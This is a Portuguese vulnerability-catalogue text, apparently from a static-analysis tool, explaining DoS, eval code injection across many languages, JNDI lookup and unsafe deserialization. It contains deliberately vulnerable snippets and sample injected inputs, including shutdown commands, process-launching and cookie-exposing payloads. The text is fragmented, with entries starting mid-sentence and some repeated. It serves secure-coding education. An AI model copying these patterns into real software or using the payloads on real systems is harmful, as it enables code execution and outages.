StringBuilder ou do StringBuffer inicializada com o tamanho padrão da matriz de apoio pode fazer com que a JVM consuma excessivamente o espaço de memória heap.StringBuilder ou do StringBuffer inicializada com o tamanho padrão da matriz de caracteres de apoio (16) pode fazer com que o aplicativo consuma grandes quantidades de memória heap ao redimensionar a matriz subjacente para ajustar os dados do usuário. Quando dados são anexados a uma instância de um StringBuilder ou de um StringBuffer, a instância determinará se a matriz de caracteres de apoio tem espaço suficiente para armazenar os dados. Se os dados não forem ajustados, uma nova instância do StringBuilder ou do StringBuffer irá criar outra matriz com pelo menos o dobro do tamanho da matriz anterior e a matriz antiga permanecerá no heap até que seja coletada como lixo. Os invasores podem usar esse detalhe da implementação para executar um ataque de Negação de Serviço (Denial of Service – DoS).StringBuilder inicializada com o construtor padrão.
...
val sb = StringBuilder()
val labels = request.getParameterValues("label")
for (label in labels) {
sb.appendln(label)
}
...
...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
calculator_code_begin user_ops calculator_code_end INTO code_string,
'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...
operation é um valor benigno. No entanto, se um invasor especificar operações de linguagem tanto válidas quanto mal-intencionadas, estas serão executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando o código injetado acessa recursos do sistema ou executa comandos do sistema. Por exemplo, se um invasor especificasse "MOVE 'shutdown -h now' to cmd. CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[]." como valor de operation, um comando de desligamento seria executado no sistema host.
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var userOps:String = String(params["operation"]);
result = ExternalInterface.call("eval", userOps);
...
operation é um valor benigno, como "8 + 7 * 2". Nesse caso, a variável result recebe um valor de 22. No entanto, se um invasor especificar operações de linguagem tanto válidas quanto mal-intencionadas, estas serão executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. No caso de ActionScript, o invasor pode utilizar essa vulnerabilidade para realizar um ataque de Cross-Site Scripting.
...
public static object CEval(string sCSCode)
{
CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters cparam = new CompilerParameters();
cparam.ReferencedAssemblies.Add("system.dll");
cparam.CompilerOptions = "/t:library";
cparam.GenerateInMemory = true;
StringBuilder sb_code = new StringBuilder("");
sb_code.Append("using System;\n");
sb_code.Append("namespace Fortify_CodeEval{ \n");
sb_code.Append("public class FortifyCodeEval{ \n");
sb_code.Append("public object EvalCode(){\n");
sb_code.Append(sCSCode + "\n");
sb_code.Append("} \n");
sb_code.Append("} \n");
sb_code.Append("}\n");
CompilerResults cr = icc.CompileAssemblyFromSource(cparam, sb_code.ToString());
if (cr.Errors.Count > 0)
{
logger.WriteLine("ERROR: " + cr.Errors[0].ErrorText);
return null;
}
System.Reflection.Assembly a = cr.CompiledAssembly;
object o = a.CreateInstance("Fortify_CodeEval.FortifyCodeEval");
Type t = o.GetType();
MethodInfo mi = t.GetMethod("EvalCode");
object s = mi.Invoke(o, null);
return s;
}
...
sCSCode é um valor benigno, como "return 8 + 7 * 2". Nesse caso, 22 é o valor de retorno da função CEval. No entanto, se um invasor especificar operações de linguagem tanto válidas quanto mal-intencionadas, estas serão executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. Por exemplo, o .Net permite a invocação de APIs do Windows. Se um invasor fosse especificar " return System.Diagnostics.Process.Start(\"shutdown\", \"/s /t 0\");" como valor de operation, um comando de desligamento seria executado no sistema host.
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation é um valor benigno, como "8 + 7 * 2". Nesse caso, a variável result recebe um valor de 22. No entanto, se um invasor especificar operações de linguagens tanto válidas quanto mal-intencionadas, estas serão executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. Por exemplo, o JavaScript permite a invocação de objetos Java. Se um invasor fosse especificar " java.lang.Runtime.getRuntime().exec("shutdown -h now")" como valor de operation, um comando de desligamento seria executado no sistema host.
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation é um valor benigno, como "8 + 7 * 2". Nesse caso, a variável calcResult recebe um valor de 22. No entanto, se um invasor especificar operações de linguagens tanto válidas quanto mal-intencionadas, estas serão executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. No caso de JavaScript, o invasor pode utilizar essa vulnerabilidade para realizar um ataque de Cross-Site Scripting.
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...
<body> dentro do webView seria estilizado para ter um fundo azul. No entanto, se um invasor mal-intencionado fornecer dados que ainda sejam válidos, ele ou ela pode ser capaz de executar códigos JavaScript arbitrários. Por exemplo, uma vez que o JavaScript pode acessar certos tipos de informações privadas, tais como cookies, se um invasor especificasse "white";document.body.innerHTML=document.cookie;"" como entrada para o UITextField, as informações de cookie seriam escritas visivelmente na página. Tais ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema, como nas situações nas quais o código injetado é executado com o privilégio completo do processo pai.
...
$userOps = $_GET['operation'];
$result = eval($userOps);
...
operation é um valor benigno, como "8 + 7 * 2". Nesse caso, a variável result recebe um valor de 22. No entanto, se um invasor especificar as operações que são válidas e mal-intencionadas, essas operações seriam executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. Por exemplo, se um invasor especificasse " exec('shutdown -h now')" como o valor de operation, um comando shutdown seria executado no sistema do host.
...
userOps = request.GET['operation']
result = eval(userOps)
...
operation é um valor benigno, como "8 + 7 * 2". Nesse caso, a variável result recebe um valor de 22. No entanto, se um invasor especificar as operações que são válidas e mal-intencionadas, essas operações seriam executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. Por exemplo, se um invasor especificar " os.system('shutdown -h now')" como o valor da operation, um comando de desligamento seria executado no sistema host.
...
user_ops = req['operation']
result = eval(user_ops)
...
operation é um valor benigno, como "8 + 7 * 2". Nesse caso, a variável result recebe um valor de 22. No entanto, se um invasor especificar operações de linguagens tanto válidas quanto mal-intencionadas, estas serão executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. Com Ruby isso é permitido, e como vários comandos podem ser executados ao delimitar as linhas com um ponto e vírgula (;), isso também permitiria a execução de vários comandos com uma simples injeção sem, no entanto, quebrar o programa.operation, isso poderia abrir a porta 4444 para escutar uma conexão na máquina e depois ainda retornar o valor 22 para result
...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...
<body> dentro do webView seria estilizado para ter um fundo azul. No entanto, se um invasor mal-intencionado fornecer dados que ainda sejam válidos, ele ou ela pode ser capaz de executar códigos JavaScript arbitrários. Por exemplo, uma vez que o JavaScript pode acessar certos tipos de informações privadas, tais como cookies, se um invasor especificasse "white";document.body.innerHTML=document.cookie;"" como entrada para o UITextField, as informações de cookie seriam escritas visivelmente na página. Tais ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema, como nas situações nas quais o código injetado é executado com o privilégio completo do processo pai.
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation é "8 + 7 * 2". A variável strResult retorna um valor de 22. No entanto, se um usuário especificar outras operações de linguagem válidas, elas não só seriam executadas, como executadas com o privilégio completo do processo pai. A execução de código arbitrário torna-se mais perigosa quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. Por exemplo, se um invasor especificar operation como " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" um comando de desligamento será executado no sistema host.
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
ScriptContext newContext = new SimpleScriptContext();
Bindings engineScope = newContext.getBindings(request.getParameter("userName"));
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps,newContext);
...
page_scope é o nome de usuário esperado. No entanto, se um invasor especificar o valor para GLOBAL_SCOPE, as operações terão acesso a todos os atributos dentro de todos os mecanismos criados pelo mesmo ScriptEngine.
...
String address = request.getParameter("address");
Properties props = new Properties();
props.put(Provider_URL, "rmi://secure-server:1099/");
InitialContext ctx = new InitialContext(props);
ctx.lookup(address);
...
string name = Request["username"];
string template = "Hello @Model.Name! Welcome " + name + "!";
string result = Razor.Parse(template, new { Name = "World" });
...
operation é um valor benigno, como "John". Nesse caso, a variável result recebe um valor de "Hello World! Welcome John!". No entanto, se um invasor especificar operações de linguagens tanto válidas quanto mal-intencionadas, estas serão executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. Por exemplo, o Razor permite a invocação de objetos C#. Se um invasor fosse especificar " @{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents=false; proc.StartInfo.FileName=\"calc\"; proc.Start(); }" como valor de name, um comando do sistema seria executado no sistema host.
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation é um valor benigno, como "8 + 7 * 2". Nesse caso, a variável result recebe um valor de 22. No entanto, se um invasor especificar operações de linguagens tanto válidas quanto mal-intencionadas, estas serão executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. Por exemplo, o JavaScript permite a invocação de objetos Java. Se um invasor fosse especificar " java.lang.Runtime.getRuntime().exec("shutdown -h now")" como valor de operation, um comando de desligamento seria executado no sistema host.
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation é um valor benigno, como "8 + 7 * 2". Nesse caso, a variável calcResult recebe um valor de 22. No entanto, se um invasor especificar operações de linguagens tanto válidas quanto mal-intencionadas, estas serão executadas com o privilégio total do processo pai. Esses ataques são ainda mais perigosos quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. No caso de JavaScript, o invasor pode utilizar essa vulnerabilidade para realizar um ataque de Cross-Site Scripting.
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation é "8 + 7 * 2". A variável strResult retorna um valor de 22. No entanto, se um usuário especificar outras operações de linguagem válidas, elas não só seriam executadas, como executadas com o privilégio completo do processo pai. A execução de código arbitrário torna-se mais perigosa quando a linguagem subjacente fornece acesso a recursos do sistema ou permite a execução de comandos do sistema. Por exemplo, se um invasor especificar operation como " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" um comando de desligamento será executado no sistema host.BeanUtilsHashMapper para desserializar Hashes Redis, o que pode permitir que o invasor no controle desses Hashes execute um código arbitrário.
HashMapper<Person, String, String> hashMapper = new BeanUtilsHashMapper<Person>(Person.class);
Person p = hashMapper.fromHash(untrusted_map);
Stream de uma conexão como entrada e a desserializa de volta para um objeto .NET. Em seguida, retorna o resultado depois de convertê-lo em uma lista de objetos de string:
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
var result = (List <string>)bf.Deserialize(input);
return result;
}
...
Example 1 pode ser regravado desta maneira:
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
object tmp = bf.Deserialize(input);
List <string> result = (List <string>)tmp;
return result;
}
...
Example 2, a operação de desserialização será bem-sucedida desde que o fluxo de entrada seja válido, independentemente de se o tipo é List <string> ou não.bin ou no GAC e que não podem ser injetadas pelo invasor. Portanto, a capacidade de exploração desses ataques depende das classes disponíveis no ambiente do aplicativo. Infelizmente, classes comuns de terceiros ou até mesmo classes .NET podem ser abusadas de forma a esgotar os recursos do sistema, excluir arquivos, implantar arquivos mal-intencionados ou executar código arbitrário.